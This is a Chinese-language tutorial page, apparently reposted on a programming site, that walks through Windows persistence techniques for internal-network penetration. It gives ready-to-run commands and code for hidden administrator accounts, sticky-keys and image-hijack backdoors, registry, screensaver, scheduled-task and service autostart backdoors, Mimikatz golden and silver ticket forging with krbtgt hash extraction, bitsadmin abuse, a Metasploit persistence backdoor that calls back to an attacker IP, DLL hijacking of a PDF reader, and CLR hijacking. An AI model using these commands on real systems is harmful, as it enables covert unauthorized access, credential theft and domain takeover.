内网渗透-windows权限维持的方法

2024-04-14 18:20

本文主要是介绍内网渗透-windows权限维持的方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

windows权限维持的方法

文章目录
  • windows权限维持的方法
  • 一、影子账户
  • 二、粘滞键后门
  • 三、logon scripts后门
  • 五、注册表自启动后门
  • 六、屏幕保护程序后门
  • 七、计划任务后门
  • 八、服务自启动后门
  • 九、黄金票据
  • 十、白银票据
  • 十二、bitsadmin
  • 十五、CLR劫持

一、影子账户

1.使用如下命令创建隐藏用户并加入管理员组

net user test$ 123456 /add
net localgroup administrators test$ /add

创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
在这里插入图片描述
2
.2.打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)

修改SAM权限,赋予adminitrators完全控制权限。

在这里插入图片描述

3.将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。在这里插入图片描述

4.将test$和所对应项000003F1导出,分别命名为test.reg和1.reg
在这里插入图片描述
在这里插入图片描述

5.删除test$用户,将test.reg和1.reg导入注册表

net user test$ /del

regedit /s test.reg

regedit /s 1.reg
在这里插入图片描述
在这里插入图片描述
6.此时在用户组已经看不到test$用户,只能在注册表中能看到。
在这里插入图片描述

二、粘滞键后门

粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。一般的电脑连按五次shift会出现粘滞键提示。

演示:
粘滞键位置:c:\windows\system32\sethc.exe

命令:
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

此时连按五次shift键即可启动cmd,而且不需要登录就可以执行。在这里插入图片描述
在这里插入图片描述

三、logon scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

演示:
注册表位置:HKEY_CURRENT_USER\Environment

REG ADD “HKEY_CURRENT_USER\Environment” /v UserInitMprLogonScript /t REG_SZ /d “C:\666.exe” #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

在这里插入图片描述
重启,上线成功。在这里插入图片描述
四、映像劫持
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

演示:
注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe

在这里插入图片描述
此时点击五次shift键会打开cmd。
在这里插入图片描述

五、注册表自启动后门

位置一:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

添加键test,值为后门程序路径。

REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v test1 /t REG_SZ /d “C:\666.exe”

在这里插入图片描述
重新启动会自动运行后门程序。在这里插入图片描述
位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

修改键Userinit的值,重启就会自动运行程序。在这里插入图片描述
在这里插入图片描述

六、屏幕保护程序后门

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

演示:
注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop

SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。
ScreenSaveActive表示屏保状态,1为启动,0为关闭。
ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。
ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。

在这里插入图片描述
修改SCRASAVE.EXE的值为后门程序路径,等待屏保时间自动运行。

reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v SCRNSAVE.EXE /t REG_SZ /d “c:\666.exe” /f

在这里插入图片描述
在这里插入图片描述

七、计划任务后门

schtasks命令设定计划自动启动后门程序。

schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

八、服务自启动后门

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

演示:

sc create test binpath= c:\666.exe (注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务
在这里插入图片描述
在这里插入图片描述

九、黄金票据

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

演示:

利用条件:
1.域sid
2.域名称
3.krbtgt ntlm hash或aes256值

未注入票据访问域控被拒绝。在这里插入图片描述
查看krbtgt ntlm hash:

lsadump::dcsync /domain:<域名> /user:krbtgt在这里插入图片描述
清空票据信息:
kerberos::purge

在这里插入图片描述

生成票据:
kerberos::golden /admin:<用户名> /domain:<域名> /sid:<域SID> /krbtgt: /ticket:<票据名>

在这里插入图片描述
导入票据:

kerberos::ptt Administrator.kiribi

在这里插入图片描述
在这里插入图片描述
票据注入成功。
在这里插入图片描述

十、白银票据

黄金票据伪造的TGT,那么白银票据伪造的是ST。在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,伪造的门票只对部分服务起作用。

白银票据常用服务:
在这里插入图片描述
Service Type

Service Silver Tickets

WMI

HOST RPCSS

PowerShell Remoting

HOST HTTP

WinRM

HOST HTTP

Scheduled Tasks

HOST

Windows File Share (CIFS)

CIFS

LDAP operations includingMimikatz DCSync

LDAP

Windows Remote Server Administration Tools

RPCSS LDAP CIFS

利用条件:
1.目标服务器全域名
2.域sid
3.可利用的服务
4.服务账号的ntlm hash

演示-伪造CIFS权限:
CIFS用于主机之间文件共享。

生成票据:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt

在这里插入图片描述
此时就可以访问目标机器的共享目录了。
在这里插入图片描述
十一、组策略设置脚本启动
1.首先创建一个脚本,此处为添加隐藏用户,内容如下:

@echo off
net user test$ Test123456. /add
net localgroup administrators test$ /add
exit

2.打开组策略配置脚本(启动/关机),添加脚本,关机就会自动执行脚本。在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

十二、bitsadmin

BITS (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

常用命令:
bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。
bitsadmin /Resume //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete //完成某个任务

演示:

bitsadmin /create test //创建任务test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\ndsec\Desktop\calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe “cmd.exe /c calc.exe”
bitsadmin /resume test

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
十三、msf persistence后门
使用persistence模块创建后门。

参数:
-A 自动启动匹配的exploit/multi/handler 连接到代理
-L 目标主机中要写入有效负载的位置,如果没有,将使用 %TEMP%。
-P 要使用的有效负载,默认为 windows/meterpreter/reverse_tcp。
-S 在启动时自动启动代理作为服务(具有 SYSTEM 权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统启动时自动启动代理
-h 帮助菜单
-i 每次连接尝试之间的时间间隔(以秒为单位)
-p 运行 Metasploit 的系统正在监听的端口
-r 运行 Metasploit 的系统的 IP 监听连接

执行如下命令,在目标机创建一个vbs后门,每5秒进行回连:

run persistence -S -U -X -i 5 -p 55555 -r 192.168.1.128

在这里插入图片描述
在这里插入图片描述
监听55555端口,成功上线。
在这里插入图片描述
十四、DLL劫持
DLL(Dynamic Link Library)文件为动态链接库文件,又称”应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。

dll加载顺序:

Windows xp sp2之前:
1.进程对应的应用程序所在目录;
2.当前目录(Current Directory);
3.系统目录(通过 GetSystemDirectory 获取);
4.16位系统目录;
5.Windows目录(通过 GetWindowsDirectory 获取);
6.PATH环境变量中的各个目录;

Windows xp sp2之后:
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
1.进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
2.系统目录(即%windir%system32);
3.16位系统目录(即%windir%system);
4.Windows目录(即%windir%);
5.当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
6.PATH环境变量中的各个目录;
win7以上版本:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

演示-劫持极速pdf阅读器:
1.使用process explorer分析可以劫持的dll文件,劫持sqlite3.dll
在这里插入图片描述
在这里插入图片描述
2.使用ahaeadlib将sqlite3.dll转为cpp文件
在这里插入图片描述
3.使用visual studio打开cpp文件插入要执行的后门代码,并生成新的dll文件

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT(“C:\666.exe”), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

在这里插入图片描述
4.将新的dll文件改名为sqlite3.dll,将旧的sqlite3.dll改为sqlite3Org.dll在这里插入图片描述
5.打开极速pdf阅读器后成功上线在这里插入图片描述
在这里插入图片描述

十五、CLR劫持

CLR全称Common Language Runtime,中文名称为公共语言运行时。CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行。可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。

1.修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\

REG ADD “HKEY_CURRENT_USER\Software\Classes\CLSID{11111111-1234-1234-1234-111111111111}\InProcServer32” /VE /T REG_SZ /D “C:\test.dll” /F

REG ADD “HKEY_CURRENT_USER\Software\Classes\CLSID{11111111-1234-1234-1234-111111111111}\InProcServer32” /V ThreadingModel /T REG_SZ /D Apartment /F

在这里插入图片描述
2.配置全局环境变量,不然只在当前cmd窗口劫持.net程序,然后直接执行powershell即可上线。

SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M

在这里插入图片描述
在这里插入图片描述
图片参考链接:
1.https://www.jianshu.com/p/4936da524040
2.https://hackergu.com/power-clr-thief/
3.https://cloud.tencent.com/developer/article/1850726
4.https://xz.aliyun.com/t/6461
5.https://cloud.tencent.com/developer/article/178286

这篇关于内网渗透-windows权限维持的方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/903665

相关文章

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

Python中提取文件名扩展名的多种方法实现

《Python中提取文件名扩展名的多种方法实现》在Python编程中,经常会遇到需要从文件名中提取扩展名的场景,Python提供了多种方法来实现这一功能,不同方法适用于不同的场景和需求,包括os.pa... 目录技术背景实现步骤方法一:使用os.path.splitext方法二:使用pathlib模块方法三

Python打印对象所有属性和值的方法小结

《Python打印对象所有属性和值的方法小结》在Python开发过程中,调试代码时经常需要查看对象的当前状态,也就是对象的所有属性和对应的值,然而,Python并没有像PHP的print_r那样直接提... 目录python中打印对象所有属性和值的方法实现步骤1. 使用vars()和pprint()2. 使

CSS实现元素撑满剩余空间的五种方法

《CSS实现元素撑满剩余空间的五种方法》在日常开发中,我们经常需要让某个元素占据容器的剩余空间,本文将介绍5种不同的方法来实现这个需求,并分析各种方法的优缺点,感兴趣的朋友一起看看吧... css实现元素撑满剩余空间的5种方法 在日常开发中,我们经常需要让某个元素占据容器的剩余空间。这是一个常见的布局需求

在Windows上使用qemu安装ubuntu24.04服务器的详细指南

《在Windows上使用qemu安装ubuntu24.04服务器的详细指南》本文介绍了在Windows上使用QEMU安装Ubuntu24.04的全流程:安装QEMU、准备ISO镜像、创建虚拟磁盘、配置... 目录1. 安装QEMU环境2. 准备Ubuntu 24.04镜像3. 启动QEMU安装Ubuntu4

Windows下C++使用SQLitede的操作过程

《Windows下C++使用SQLitede的操作过程》本文介绍了Windows下C++使用SQLite的安装配置、CppSQLite库封装优势、核心功能(如数据库连接、事务管理)、跨平台支持及性能优... 目录Windows下C++使用SQLite1、安装2、代码示例CppSQLite:C++轻松操作SQ

Python常用命令提示符使用方法详解

《Python常用命令提示符使用方法详解》在学习python的过程中,我们需要用到命令提示符(CMD)进行环境的配置,:本文主要介绍Python常用命令提示符使用方法的相关资料,文中通过代码介绍的... 目录一、python环境基础命令【Windows】1、检查Python是否安装2、 查看Python的安

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1

Maven 配置中的 <mirror>绕过 HTTP 阻断机制的方法

《Maven配置中的<mirror>绕过HTTP阻断机制的方法》:本文主要介绍Maven配置中的<mirror>绕过HTTP阻断机制的方法,本文给大家分享问题原因及解决方案,感兴趣的朋友一... 目录一、问题场景:升级 Maven 后构建失败二、解决方案:通过 <mirror> 配置覆盖默认行为1. 配置示

SpringBoot排查和解决JSON解析错误(400 Bad Request)的方法

《SpringBoot排查和解决JSON解析错误(400BadRequest)的方法》在开发SpringBootRESTfulAPI时,客户端与服务端的数据交互通常使用JSON格式,然而,JSON... 目录问题背景1. 问题描述2. 错误分析解决方案1. 手动重新输入jsON2. 使用工具清理JSON3.